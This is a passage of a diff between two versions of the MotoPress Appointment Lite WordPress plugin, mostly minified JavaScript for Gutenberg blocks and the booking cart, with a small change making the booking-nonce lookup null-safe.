wp.element.createElement(Ni,null,wp.element.createElement(Fi,this.props),wp.element.createElement(Hi,null,wp.element.createElement(Ri,{block:\"motopress-appointment\u002Femployee-social-networks\",attributes:this.props.attributes})))}},save:()=>null});const{Component:zi,Fragment:qi}=wp.element,{PanelBody:Ui,TextControl:ji}=wp.components,{InspectorControls:Wi}=wp.blockEditor||wp.editor;class Gi extends zi{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(Wi,{key:\"inspector\"},wp.element.createElement(qi,null,wp.element.createElement(Ui,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(ji,{label:s.__(\"ID\",\"motopress-appointment\"),help:s.__(\"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\",\"motopress-appointment\"),value:e,onChange:e=>{t({id:e})}}))))]}}const{serverSideRender:Yi}=wp,{Component:Qi,Fragment:Ki}=wp.element,{Disabled:Zi}=wp.components;const{registerBlockType:Ji}=wp.blocks;Ji(\"motopress-appointment\u002Femployee-additional-info\",{title:s.__(\"Employee Additional Information\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:\"string\",default:\"\"}},edit:class extends Qi{constructor(e){super(...arguments)}render(){return wp.element.createElement(Ki,null,wp.element.createElement(Gi,this.props),wp.element.createElement(Zi,null,wp.element.createElement(Yi,{block:\"motopress-appointment\u002Femployee-additional-info\",attributes:this.props.attributes})))}},save:()=>null})}(React,wp.date,wp.i18n,mpaData,intlTelInput)}();\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fjs\u002Fpublic.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fjs\u002Fpublic.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fjs\u002Fpublic.js\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fjs\u002Fpublic.js\t2026-06-30 15:16:08.000000000 +0000\n@@ -2161,6 +2161,7 @@\n \t   * @access protected\r\n \t   *\u002F\n \t  setupProperties() {\n+\t    var _mpaData$nonces$mpa_c;\n \t    \u002F**\r\n \t     * @since 1.0\r\n \t     * @var {Map}\r\n@@ -2200,7 +2201,7 @@\n \n \t    \u002F\u002F Later, StepPayment will replace the nonce with\n \t    \u002F\u002F \"mpa_create_booking_{$bookingId}\"\n-\t    this.bookingNonce = mpaData.nonces.mpa_create_booking;\n+\t    this.bookingNonce = (_mpaData$nonces$mpa_c = mpaData?.nonces?.mpa_create_booking) !== null && _mpaData$nonces$mpa_c !== void 0 ? _mpaData$nonces$mpa_c : ''; \u002F\u002F Missing for blocks\n \t  }\n \n \t  \u002F**\r\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fjs\u002Fpublic.min.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fjs\u002Fpublic.min.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fjs\u002Fpublic.min.js\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fjs\u002Fpublic.min.js\t2026-06-30 15:16:08.000000000 +0000\n@@ -1 +1 @@\n-!function(){\"use strict\";!function(e,t,s){function i(e){return e.filter(((e,t,s)=>s.indexOf(e)===t))}function a(e,t){return e.filter((e=>-1!=t.indexOf(e)))}function r(e,t){let s=Math.min(e.length,t.length),i={};for(let a=0;a\u003Cs;a++)i[e[a]]=t[a];return i}function n(e,t,s=1){let i=s||1,a=Math.abs(Math.floor((t-e)\u002Fi))+1;return[...Array(a).keys()].map((t=>t*s+e))}let o=\"\u002Fmotopress\u002Fappointment\u002Fv1\";function l(e,t={},s=\"GET\"){return new Promise(((i,a)=>{wp.apiRequest({path:o+e,type:s,data:t}).done((e=>i(e))).fail(((e,t)=>{let s=\"parsererror\";s=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:`Status: ${t}`,\"parsererror\"==s&&(s=\"REST request failed. Maybe PHP error on the server side. Check PHP logs.\"),a(new Error(s))}))}))}function h(e,t={}){return l(e,t,\"GET\")}function c(e,t){return l(e,t,\"POST\")}class p{constructor(){this.settings=this.getDefaults(),this.loadingPromise=this.load()}getDefaults(){return{plugin_name:\"Appointment Booking\",today:\"2030-01-01\",business_name:\"\",default_time_step:30,default_booking_status:\"confirmed\",confirmation_mode:\"auto\",terms_page_id_for_acceptance:0,allow_multibooking:!1,allow_coupons:!1,allow_customer_account_creation:!1,country:\"\",currency:\"EUR\",currency_symbol:\"&euro;\",currency_position:\"before\",decimal_separator:\".\",thousand_separator:\",\",number_of_decimals:2,timezone:\"UTC\",date_format:\"F j, Y\",time_format:\"H:i\",week_starts_on:0,thumbnail_size:{width:150,height:150},flatpickr_locale:\"en\",enable_payments:!1,active_gateways:[],reservation_received_page_url:\"\",failed_transaction_page_url:\"\",default_payment_gateway:\"\"}}load(){return new Promise(((e,t)=>{h(\"\u002Fsettings\").then((e=>this.settings=e),(e=>console.error(\"Unable to load public settings.\",e))).finally((()=>e(this.settings)))}))}ready(){return this.loadingPromise}getPluginName(){return this.settings.plugin_name}getBusinessDate(){return this.settings.today}getBusinessName(){return this.settings.business_name}getTimeStep(){return this.settings.default_time_step}getDefaultBookingStatus(){return this.settings.default_booking_status}getConfirmationMode(){return this.settings.confirmation_mode}getTermsPageIdForAcceptance(){return this.settings.terms_page_id_for_acceptance}isMultibookingEnabled(){return this.settings.allow_multibooking}isCouponsEnabled(){return this.settings.allow_coupons}isAllowCustomerAccountCreation(){return this.settings.allow_customer_account_creation}getCountry(){return this.settings.country}getCurrency(){return this.settings.currency}getCurrencySymbol(){return this.settings.currency_symbol}getCurrencyPosition(){return this.settings.currency_position}getDecimalSeparator(){return this.settings.decimal_separator}getThousandSeparator(){return this.settings.thousand_separator}getDecimalsCount(){return this.settings.number_of_decimals}getTimezone(){return this.settings.timezone}getDateFormat(){return this.settings.date_format}getTimeFormat(){return this.settings.time_format}getFirstDayOfWeek(){return this.settings.week_starts_on}getThumbnailSize(){return this.settings.thumbnail_size}getFlatpickrLocale(){return this.settings.flatpickr_locale}isPaymentsEnabled(){return this.settings.enable_payments}getActiveGateways(){return this.settings.active_gateways}getReservationReceivedPageUrl(){return this.settings.reservation_received_page_url}getFailedTransactionPageUrl(){return this.settings.failed_transaction_page_url}getDefaultPaymentGateway(){return this.settings.default_payment_gateway}}class d{constructor(){this.settingsCtrl=new p,this.loadingPromise=this.load()}load(){return Promise.all([this.settingsCtrl.ready()]).then((()=>this))}ready(){return this.loadingPromise}settings(){return this.settingsCtrl}static getInstance(){return null==d.instance&&(d.instance=new d),d.instance}}function m(){return d.getInstance()}const u=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n.__?wp.i18n.__:(e,t=\"\")=>e,g=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n._x?wp.i18n._x:(e,t,s=\"\")=>e;\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n.sprintf&&wp.i18n.sprintf;const y={weekdays:{shorthand:[u(\"Sun\",\"motopress-appointment\"),u(\"Mon\",\"motopress-appointment\"),u(\"Tue\",\"motopress-appointment\"),u(\"Wed\",\"motopress-appointment\"),u(\"Thu\",\"motopress-appointment\"),u(\"Fri\",\"motopress-appointment\"),u(\"Sat\",\"motopress-appointment\")],longhand:[u(\"Sunday\",\"motopress-appointment\"),u(\"Monday\",\"motopress-appointment\"),u(\"Tuesday\",\"motopress-appointment\"),u(\"Wednesday\",\"motopress-appointment\"),u(\"Thursday\",\"motopress-appointment\"),u(\"Friday\",\"motopress-appointment\"),u(\"Saturday\",\"motopress-appointment\")]},months:{shorthand:[u(\"Jan\",\"motopress-appointment\"),u(\"Feb\",\"motopress-appointment\"),u(\"Mar\",\"motopress-appointment\"),u(\"Apr\",\"motopress-appointment\"),g(\"May\",\"Month (short)\",\"motopress-appointment\"),u(\"Jun\",\"motopress-appointment\"),u(\"Jul\",\"motopress-appointment\"),u(\"Aug\",\"motopress-appointment\"),u(\"Sep\",\"motopress-appointment\"),u(\"Oct\",\"motopress-appointment\"),u(\"Nov\",\"motopress-appointment\"),u(\"Dec\",\"motopress-appointment\")],longhand:[u(\"January\",\"motopress-appointment\"),u(\"February\",\"motopress-appointment\"),u(\"March\",\"motopress-appointment\"),u(\"April\",\"motopress-appointment\"),g(\"May\",\"Month\",\"motopress-appointment\"),u(\"June\",\"motopress-appointment\"),u(\"July\",\"motopress-appointment\"),u(\"August\",\"motopress-appointment\"),u(\"September\",\"motopress-appointment\"),u(\"October\",\"motopress-appointment\"),u(\"November\",\"motopress-appointment\"),u(\"December\",\"motopress-appointment\")]},amPM:[\"AM\",\"PM\"],firstDayOfWeek:m().settings().getFirstDayOfWeek()};function f(t,s=\"public\"){if(\"string\"==typeof t)return t;if(\"internal\"==s)return f(t,\"Y-m-d\");if(\"public\"==s)return e.format(m().settings().getDateFormat(),t);let i=(e,t=2)=>(\"00\"+e).slice(-t),a=!1;return s.split(\"\").map((e=>{if(a)return a=!1,e;switch(e){case\"\\\\\":return a=!0,\"\";case\"j\":return t.getDate();case\"d\":return i(t.getDate());case\"D\":return y.weekdays.shorthand[t.getDay()];case\"l\":return y.weekdays.longhand[t.getDay()];case\"N\":return t.getDay()||7;case\"w\":return t.getDay();case\"z\":let s=new Date(t.getFullYear(),0,1),r=s.getTimezoneOffset()-t.getTimezoneOffset(),n=t-s+60*r*1e3,o=864e5;return Math.floor(n\u002Fo);case\"W\":let l=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate())),h=l.getUTCDay()||7;l.setUTCDate(l.getUTCDate()+4-h);let c=new Date(Date.UTC(l.getUTCFullYear(),0,1)),p=864e5;return Math.ceil(((l-c)\u002Fp+1)\u002F7);case\"F\":return y.months.longhand[t.getMonth()];case\"M\":return y.months.shorthand[t.getMonth()];case\"m\":return i(t.getMonth()+1);case\"n\":return t.getMonth()+1;case\"t\":return new Date(t.getFullYear(),t.getMonth()+1,0).getDate();case\"Y\":return t.getFullYear();case\"y\":return String(t.getFullYear()).substring(2);case\"L\":return t.getFullYear()%4==0?1:0;case\"A\":return y.amPM[t.getHours()>11?1:0];case\"a\":return y.amPM[t.getHours()>11?1:0].toLowerCase();case\"H\":return i(t.getHours());case\"h\":return i(t.getHours()%12||12);case\"G\":return t.getHours();case\"g\":return t.getHours()%12||12;case\"i\":return i(t.getMinutes());case\"s\":return i(t.getSeconds());case\"v\":return i(t.getMilliseconds(),3);case\"u\":return i(t.getMilliseconds(),3)+\"000\";case\"O\":case\"P\":let d=-t.getTimezoneOffset(),m=d>=0?\"+\":\"-\",u=Math.floor(Math.abs(d)\u002F60),g=Math.abs(d)%60,b=\"O\"==e?\"\":\":\";return m+i(u)+b+i(g);case\"Z\":return 60*t.getTimezoneOffset();case\"U\":return Math.floor(t.getTime()\u002F1e3);case\"c\":return f(t,\"Y-m-d\\\\TH:i:sP\");case\"r\":return f(t,\"D, d M Y H:i:s O\");case\"S\":case\"o\":case\"B\":case\"e\":case\"T\":case\"I\":return\"\";default:return e}})).join(\"\")}function b(e){let t=e.match(\u002F(\\d{4})-(\\d{2})-(\\d{2})\u002F);if(null!=t){let e=parseInt(t[1]),s=parseInt(t[2]),i=parseInt(t[3]);return new Date(e,s-1,i)}return null}function v(){let e=new Date;return e.setHours(0,0,0,0),e}function S(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,\"default\")?e.default:e}var _,P,C={exports:{}},w={exports:{}};_=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\u002F\",P={rotl:function(e,t){return e\u003C\u003Ct|e>>>32-t},rotr:function(e,t){return e\u003C\u003C32-t|e>>>t},endian:function(e){if(e.constructor==Number)return 16711935&P.rotl(e,8)|4278255360&P.rotl(e,24);for(var t=0;t\u003Ce.length;t++)e[t]=P.endian(e[t]);return e},randomBytes:function(e){for(var t=[];e>0;e--)t.push(Math.floor(256*Math.random()));return t},bytesToWords:function(e){for(var t=[],s=0,i=0;s\u003Ce.length;s++,i+=8)t[i>>>5]|=e[s]\u003C\u003C24-i%32;return t},wordsToBytes:function(e){for(var t=[],s=0;s\u003C32*e.length;s+=8)t.push(e[s>>>5]>>>24-s%32&255);return t},bytesToHex:function(e){for(var t=[],s=0;s\u003Ce.length;s++)t.push((e[s]>>>4).toString(16)),t.push((15&e[s]).toString(16));return t.join(\"\")},hexToBytes:function(e){for(var t=[],s=0;s\u003Ce.length;s+=2)t.push(parseInt(e.substr(s,2),16));return t},bytesToBase64:function(e){for(var t=[],s=0;s\u003Ce.length;s+=3)for(var i=e[s]\u003C\u003C16|e[s+1]\u003C\u003C8|e[s+2],a=0;a\u003C4;a++)8*s+6*a\u003C=8*e.length?t.push(_.charAt(i>>>6*(3-a)&63)):t.push(\"=\");return t.join(\"\")},base64ToBytes:function(e){e=e.replace(\u002F[^A-Z0-9+\\\u002F]\u002Fgi,\"\");for(var t=[],s=0,i=0;s\u003Ce.length;i=++s%4)0!=i&&t.push((_.indexOf(e.charAt(s-1))&Math.pow(2,-2*i+8)-1)\u003C\u003C2*i|_.indexOf(e.charAt(s))>>>6-2*i);return t}},w.exports=P;var k=w.exports,$={utf8:{stringToBytes:function(e){return $.bin.stringToBytes(unescape(encodeURIComponent(e)))},bytesToString:function(e){return decodeURIComponent(escape($.bin.bytesToString(e)))}},bin:{stringToBytes:function(e){for(var t=[],s=0;s\u003Ce.length;s++)t.push(255&e.charCodeAt(s));return t},bytesToString:function(e){for(var t=[],s=0;s\u003Ce.length;s++)t.push(String.fromCharCode(e[s]));return t.join(\"\")}}},T=$,I=function(e){return null!=e&&(D(e)||function(e){return\"function\"==typeof e.readFloatLE&&\"function\"==typeof e.slice&&D(e.slice(0,0))}(e)||!!e._isBuffer)};function D(e){return!!e.constructor&&\"function\"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}!function(){var e=k,t=T.utf8,s=I,i=T.bin,a=function(r,n){r.constructor==String?r=n&&\"binary\"===n.encoding?i.stringToBytes(r):t.stringToBytes(r):s(r)?r=Array.prototype.slice.call(r,0):Array.isArray(r)||r.constructor===Uint8Array||(r=r.toString());for(var o=e.bytesToWords(r),l=8*r.length,h=1732584193,c=-271733879,p=-1732584194,d=271733878,m=0;m\u003Co.length;m++)o[m]=16711935&(o[m]\u003C\u003C8|o[m]>>>24)|4278255360&(o[m]\u003C\u003C24|o[m]>>>8);o[l>>>5]|=128\u003C\u003Cl%32,o[14+(l+64>>>9\u003C\u003C4)]=l;var u=a._ff,g=a._gg,y=a._hh,f=a._ii;for(m=0;m\u003Co.length;m+=16){var b=h,v=c,S=p,_=d;h=u(h,c,p,d,o[m+0],7,-680876936),d=u(d,h,c,p,o[m+1],12,-389564586),p=u(p,d,h,c,o[m+2],17,606105819),c=u(c,p,d,h,o[m+3],22,-1044525330),h=u(h,c,p,d,o[m+4],7,-176418897),d=u(d,h,c,p,o[m+5],12,1200080426),p=u(p,d,h,c,o[m+6],17,-1473231341),c=u(c,p,d,h,o[m+7],22,-45705983),h=u(h,c,p,d,o[m+8],7,1770035416),d=u(d,h,c,p,o[m+9],12,-1958414417),p=u(p,d,h,c,o[m+10],17,-42063),c=u(c,p,d,h,o[m+11],22,-1990404162),h=u(h,c,p,d,o[m+12],7,1804603682),d=u(d,h,c,p,o[m+13],12,-40341101),p=u(p,d,h,c,o[m+14],17,-1502002290),h=g(h,c=u(c,p,d,h,o[m+15],22,1236535329),p,d,o[m+1],5,-165796510),d=g(d,h,c,p,o[m+6],9,-1069501632),p=g(p,d,h,c,o[m+11],14,643717713),c=g(c,p,d,h,o[m+0],20,-373897302),h=g(h,c,p,d,o[m+5],5,-701558691),d=g(d,h,c,p,o[m+10],9,38016083),p=g(p,d,h,c,o[m+15],14,-660478335),c=g(c,p,d,h,o[m+4],20,-405537848),h=g(h,c,p,d,o[m+9],5,568446438),d=g(d,h,c,p,o[m+14],9,-1019803690),p=g(p,d,h,c,o[m+3],14,-187363961),c=g(c,p,d,h,o[m+8],20,1163531501),h=g(h,c,p,d,o[m+13],5,-1444681467),d=g(d,h,c,p,o[m+2],9,-51403784),p=g(p,d,h,c,o[m+7],14,1735328473),h=y(h,c=g(c,p,d,h,o[m+12],20,-1926607734),p,d,o[m+5],4,-378558),d=y(d,h,c,p,o[m+8],11,-2022574463),p=y(p,d,h,c,o[m+11],16,1839030562),c=y(c,p,d,h,o[m+14],23,-35309556),h=y(h,c,p,d,o[m+1],4,-1530992060),d=y(d,h,c,p,o[m+4],11,1272893353),p=y(p,d,h,c,o[m+7],16,-155497632),c=y(c,p,d,h,o[m+10],23,-1094730640),h=y(h,c,p,d,o[m+13],4,681279174),d=y(d,h,c,p,o[m+0],11,-358537222),p=y(p,d,h,c,o[m+3],16,-722521979),c=y(c,p,d,h,o[m+6],23,76029189),h=y(h,c,p,d,o[m+9],4,-640364487),d=y(d,h,c,p,o[m+12],11,-421815835),p=y(p,d,h,c,o[m+15],16,530742520),h=f(h,c=y(c,p,d,h,o[m+2],23,-995338651),p,d,o[m+0],6,-198630844),d=f(d,h,c,p,o[m+7],10,1126891415),p=f(p,d,h,c,o[m+14],15,-1416354905),c=f(c,p,d,h,o[m+5],21,-57434055),h=f(h,c,p,d,o[m+12],6,1700485571),d=f(d,h,c,p,o[m+3],10,-1894986606),p=f(p,d,h,c,o[m+10],15,-1051523),c=f(c,p,d,h,o[m+1],21,-2054922799),h=f(h,c,p,d,o[m+8],6,1873313359),d=f(d,h,c,p,o[m+15],10,-30611744),p=f(p,d,h,c,o[m+6],15,-1560198380),c=f(c,p,d,h,o[m+13],21,1309151649),h=f(h,c,p,d,o[m+4],6,-145523070),d=f(d,h,c,p,o[m+11],10,-1120210379),p=f(p,d,h,c,o[m+2],15,718787259),c=f(c,p,d,h,o[m+9],21,-343485551),h=h+b>>>0,c=c+v>>>0,p=p+S>>>0,d=d+_>>>0}return e.endian([h,c,p,d])};a._ff=function(e,t,s,i,a,r,n){var o=e+(t&s|~t&i)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._gg=function(e,t,s,i,a,r,n){var o=e+(t&i|s&~i)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._hh=function(e,t,s,i,a,r,n){var o=e+(t^s^i)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._ii=function(e,t,s,i,a,r,n){var o=e+(s^(t|~i))+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._blocksize=16,a._digestsize=16,C.exports=function(t,s){if(null==t)throw new Error(\"Illegal argument \"+t);var r=e.wordsToBytes(a(t,s));return s&&s.asBytes?r:s&&s.asString?i.bytesToString(r):e.bytesToHex(r)}}();var E=S(C.exports);class A{setupProperties(){this.itemId=\"\",this.service=null,this.serviceCategories={},this.employee=null,this.location=null,this.date=null,this.time=null,this.capacity=1,this.availableEmployees=[],this.availableLocations=[],this.bookingVariants=[]}constructor(e){this.setupProperties(),this.itemId=e}getDate(){return this.date}getTime(){return this.time}getItemId(){return this.itemId}getAvailableEmployeeIds(){return this.availableEmployees.map((e=>e.id))}getAvailableLocationIds(){return this.availableLocations.map((e=>e.id))}getAvailableIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,employee_ids:this.getAvailableEmployeeIds(),location_ids:this.getAvailableLocationIds()}}getIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,location_id:null!==this.location?this.location.id:0}}toArray(e=\"all\"){return\"ids\"===e?this.getIds():\"availability\"===e?this.getAvailableIds():\"period\"===e?{date:null!==this.date?f(this.date,\"internal\"):\"\",time:null!==this.time?this.time.toString(\"internal\"):\"\"}:jQuery.extend(this.getIds(),{date:null!==this.date?f(this.date,\"internal\"):\"\",time:null!==this.time?this.time.toString(\"internal\"):\"\",capacity:this.capacity})}isSet(e=\"all\"){let t=!0;return\"all\"!==e&&\"ids\"!==e||(t=t&&null!==this.service&&null!==this.employee&&null!==this.location),\"all\"!==e&&\"period\"!==e||(t=t&&null!==this.date&&null!==this.time),t}isAtTime(e,t){return null!==this.date&&null!==this.time&&f(this.date,\"internal\")==f(e,\"internal\")&&this.time.toString(\"internal\")==t.toString(\"internal\")}getCapacity(){return this.capacity}getMinCapacity(){return null!==this.service?this.service.getMinCapacity(this.getEmployeeId()):1}getMaxCapacity(){return null!==this.service?this.service.getMaxCapacity(this.getEmployeeId()):1}getMinPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMaxCapacity();for(let t of this.bookingVariants)e=Math.min(e,t.minCapacity);return e}}getMaxPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMinCapacity();for(let t of this.bookingVariants)e=Math.max(e,t.maxCapacity);return e}}getCapacityOptions(){if(null===this.service)return[1];{let e=[];for(let t of this.bookingVariants)e=e.concat(n(t.minCapacity,t.maxCapacity));return i(e)}}getPrice(){if(!this.service)return 0;let e=this.employee?this.employee.id:0;return this.service.getPrice(e,this.capacity)}getDeposit(e){let t=0;switch(this.service.depositType){case\"disabled\":default:t=e;break;case\"fixed\":t=this.service.depositAmount;break;case\"percentage\":t=e*this.service.depositAmount\u002F100}return t>e?e:t}getHash(e=\"all\"){return E(JSON.stringify(this.toArray(e)))}didChange(e,t=\"all\"){return e!==this.getHash(t)}getEmployeeId(){return this.employee?this.employee.getId():0}getEmployee(e){if(null!==this.employee&&this.employee.getId()==e)return this.employee;for(let t of this.availableEmployees)if(t.id==e)return t;return null}getLocationId(){return this.location?this.location.getId():0}getLocation(e){if(null!==this.location&&this.location.id==e)return this.location;for(let t of this.availableLocations)if(t.id==e)return t;return null}getService(){return this.service}hasMultipleAvailableEmployees(){return this.availableEmployees.length>1}hasMultipleAvailableLocations(){return this.availableLocations.length>1}hasMultipleAvailableVariants(){return this.hasMultipleAvailableEmployees()||this.hasMultipleAvailableLocations()}setService(e){this.service=e}setServiceCategories(e){this.serviceCategories=e}setEmployee(e,t=!0){\"number\"==typeof e&&(e=this.getEmployee(e)),this.employee=e,!0===t&&(this.availableEmployees=[e])}setAvailableEmployees(e,t=!0){this.availableEmployees=e,!0===t&&(this.employee=null)}setLocation(e,t=!0){\"number\"==typeof e&&(e=this.getLocation(e)),this.location=e,!0===t&&(this.availableLocations=[e])}setAvailableLocations(e,t=!0){this.availableLocations=e,!0===t&&(this.location=null)}setCapacity(e){this.capacity=e}setBookingVariants(e){this.bookingVariants=[];for(let t of e)this.bookingVariants.push({employeeId:t[0],locationId:t[1],minCapacity:t[2],maxCapacity:t[3]})}getBookingVariantForCapacity(e){for(let t of this.bookingVariants)if(e>=t.minCapacity&&e\u003C=t.maxCapacity)return t;return{employeeId:this.getEmployeeId(),locationId:this.getLocationId(),minCapacity:this.getMinCapacity(),maxCapacity:this.getMaxCapacity()}}removeBookingVariatForEmployee(e){for(let t in this.bookingVariants){this.bookingVariants[t].employeeId==e&&this.bookingVariants.splice(t,1)}}}let M=class{constructor(e=null){this.setupProperties(),null!=e&&this.merge(e)}setupProperties(){this.keys=[],this.values={},this.length=0}merge(e){for(let t in e)this.push(t,e[t])}push(e,t){let s=!this.includesKey(e);return this.values[e]=t,s&&(this.keys.push(e),this.length++),s}find(e,t=null){return this.includesKey(e)?this.values[e]:t}findNext(e,t=null){let s=this.findNextKey(e);return\"\"!==s?this.values[s]:t}findNextKey(e){let t=this.keys.indexOf(e);if(-1===t)return\"\";let s=t+1;return s\u003Cthis.length?this.keys[s]:this.keys[t]}findPrevious(e,t=null){let s=this.findPreviousKey(e);return\"\"!==s?this.values[s]:t}findPreviousKey(e){let t=this.keys.indexOf(e);if(-1===t)return\"\";let s=t-1;return s>=0?this.keys[s]:this.keys[t]}update(e,t){return this.push(e,t)}remove(e){if(!this.includesKey(e))return null;let t=this.values[e];delete this.values[e];let s=this.keys.indexOf(e);return this.keys.splice(s,1),this.length--,t}empty(){return this.keys=[],this.values={},this.length=0,this}isEmpty(){return 0==this.length}includesKey(e){return e in this.values}firstKey(){return this.keys.length>0?this.keys[0]:null}firstValue(){let e=this.firstKey();return null!==e?this.values[e]:null}lastValue(){let e=this.lastKey();return null!=e?this.values[e]:null}lastKey(){return this.isEmpty()?null:this.keys[this.length-1]}cloneKeys(){return[...this.keys]}getColumn(e){let t=[];for(let s of this.keys){let i=this.values[s][e];null!=i&&(Array.isArray(i)?t=t.concat(i):t.push(i))}return i(t)}forEach(e){let t=0;for(let s of this.keys){let i=e(this.values[s],t,s,this);if(t++,!1===i)break}}map(e){let t=[],s=0;for(let i of this.keys)t.push(e(this.values[i],s,i,this)),s++;return t}toArray(){let e=[];for(let t of this.keys)e.push(this.values[t]);return e}getLength(){return this.length}},x={};function F(e,t=!1){return\"object\"==typeof e?0==function(e,t=!1){return\"object\"==typeof e?Array.isArray(e)?e.length:Object.keys(e).length:t?0:1}(e):!!t||!e}function B(e=\"\",t=!1){let s=function(e,t){return t\u003C(e=parseInt(e,10).toString(16)).length?e.slice(e.length-t):t>e.length?Array(t-e.length+1).join(\"0\")+e:e};x.uniqid_seed||(x.uniqid_seed=Math.floor(123456789*Math.random())),x.uniqid_seed++;let i=e;return i+=s(parseInt((new Date).getTime()\u002F1e3,10),8),i+=s(x.uniqid_seed,5),t&&(i+=(10*Math.random()).toFixed(8).toString()),i}class L{setupProperties(){this.items=new M,this.activeItem=null,this.customerDetails={name:\"\",email:\"\",phone:\"\"},this.paymentDetails={booking_id:0,gateway_id:\"none\"},this.coupon=null,this.bookingNonce=mpaData.nonces.mpa_create_booking}constructor(){this.setupProperties()}createItem(e=\"\"){e||(e=B());let t=new A(e);return this.items.push(e,t),this.activeItem=t,t}getItem(e){return this.items.find(e)}getActiveItem(){return this.activeItem}getActiveItemId(){return null!==this.activeItem?this.activeItem.getItemId():\"\"}getItems(){return this.items}getItemsCount(){return this.items.getLength()}setActiveItem(e){this.activeItem=\"string\"==typeof e?this.getItem(e):e}removeItem(e){\"string\"==typeof e?this.items.remove(e):this.items.remove(e.getItemId())}isEmpty(){return 0===this.getItemsCount()}getProducts(){let e=[];return this.items.forEach((t=>{null!=t.service&&e.push({name:t.service.name,price:t.getPrice(),capacity:t.getCapacity(),quantity_label:t.getService().getQuantityLabel()})})),e}getSubtotalPrice(e=null){null===e&&(e=this.getProducts());let t=0;for(let s of e)t+=s.price;return t}getTotalPrice(e=null){let t=this.getSubtotalPrice(e);if(this.hasCoupon()){let e=this.coupon.calcDiscountAmount(this);return Math.max(0,t-e)}return t}getDeposit(){let e=0;return this.items.forEach((t=>{let s=t.getPrice();this.hasCoupon()&&(s-=this.coupon.calcDiscountForCartItem(t)),e+=t.getDeposit(s)})),e}getCustomer(){return this.customerDetails}getOrder(){let e=this.getProducts(),t={products:e,subtotal:this.getSubtotalPrice(e),total:this.getTotalPrice(e),customer:this.getCustomer()};return this.hasCoupon()&&(t.coupon={code:this.coupon.getCode(),amount:this.coupon.calcDiscountAmount(this)}),t.deposit=this.getDeposit(),t}getPaymentDetails(){return this.paymentDetails}toArray(e=\"all\"){let t={items:[],customer:this.customerDetails};return this.items.forEach((e=>{e.isSet()&&t.items.push(e.toArray())})),m().settings().isPaymentsEnabled()&&(t.payment_details=this.paymentDetails),this.hasCoupon()&&(t.coupon=this.coupon.getCode()),\"items\"===e?t.items:t}getHash(e=\"all\"){return E(\"order\"!==e?JSON.stringify(this.toArray(e)):JSON.stringify(this.getOrder()))}didChange(e,t=\"all\"){return 